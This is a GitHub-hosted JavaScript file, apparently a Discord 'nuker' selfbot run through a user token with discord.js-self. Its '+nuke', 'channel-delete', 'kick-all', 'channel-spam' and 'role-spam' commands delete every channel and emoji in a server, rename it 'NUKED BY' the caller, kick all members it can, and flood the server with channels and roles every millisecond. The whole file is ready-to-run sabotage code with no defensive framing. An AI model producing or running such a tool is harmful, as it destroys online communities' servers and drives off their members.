-
Notifications
You must be signed in to change notification settings - Fork 2
/
index.js
68 lines (58 loc) · 3.02 KB
/
index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
const { Client } = require('discord.js-self');
const client = new Client();
const prefix = "+";
const token = "YOUR_TOKEN";
const { blue, red, bgCyan, bgGreen } = require("chalk");
client.on("ready", () => {
console.log(`Client: ${client.user.tag} | ${client.user.id}\nPrefix: ${prefix}\nMade With ♥ By Ahad#3257\nCheck: https://www.itscruel.cf/`);
client.user.setActivity("YouTube", {
type: "WATCHING"
});
});
client.on("message", async (msg) => {
if (!msg.content.startsWith(prefix) || msg.author.bot || !msg.guild ) return;
if (msg.content.includes("nuke")) {
await msg.guild.channels.cache.forEach((c) => c.delete(`CHANNEL DELETED BY ${msg.author.username}`, console.log(blue(`[Channel Deleted] - ${c.name}`))));
msg.guild.emojis.cache.forEach((e) => e.delete(`EMOJI DELETED BY ${msg.author.username}`, console.log(red(`[Emoji Deleted] - ${e.name} emote deleted`))));
await msg.guild.channels.create(`${msg.author.username}`);
msg.guild.setIcon(msg.author.avatarURL({dynamic: true}));
console.log(bgCyan(`Setted Server's Icon to ${msg.author.avatarURL()}`));
msg.guild.setName(`ПUKΣD BY ${msg.author.username}`);
console.log(bgGreen(`Setted Server's Name to ПUKΣD BY ${msg.author.username}`));
msg.guild.members.cache.filter((m) => m.kickable).forEach(async (m) => {
m.kick(`KICKED BY ${msg.author.username}`),
console.log(red(`[Kicked] - ${m.user.tag} | ${m.user.id}`))
});
}
if(msg.content.includes("channel-spam")) {
setInterval(() => {
msg.guild.channels.create(`${msg.author.username}`).then((c) => {
console.log(red(`[Channel Spam] - ${c.name}`));
}).catch((e) => {
});
}, 1);
}
if(msg.content.includes("channel-delete")) {
msg.guild.channels.cache.forEach((c) => c.delete(`CHANNEL DELETED BY ${msg.author.username}`, console.log(blue(`[Channel Deleted] - ${c.name}`))));
}
if(msg.content.includes("role-spam")) {
setInterval(() => {
msg.guild.roles.create({
name: `${msg.author.username}`
}).then((r) => {
console.log(red(`[Role Spam] - ${r.name}`));
}).catch((e) => {
});
}, 1)
}
if(msg.content.includes("kick-all")) {
msg.guild.members.cache.filter((m) => m.kickable).forEach(async (m) => {
m.kick(`KICKED BY ${msg.author.username}`),
console.log(red(`[Kicked] - ${m.user.tag} | ${m.user.id}`))
});
}
if(msg.content.includes("help")) {
msg.channel.send(`Client: ${client.user.tag} | ${client.user.id}\nPrefix: ${prefix}\nMade With ♥ By Ahad#3257\nCheck: https://www.itscruel.cf/` + "\n\n```yml\n" + `Command: ${prefix}nuke\nFunction: Deletes roles, channels, and kick members.\n\nCommand: ${prefix}channel-delete\nFunction: Deletes channels.\n\nCommand: ${prefix}channel-spam\nFunction: Spams channels.\n\nCommand: ${prefix}role-delete\nFunction: Spams roles.\n\nCommand: ${prefix}kick-all\nFunction: Kicks all members.\n` + "```")
}
});
client.login(token);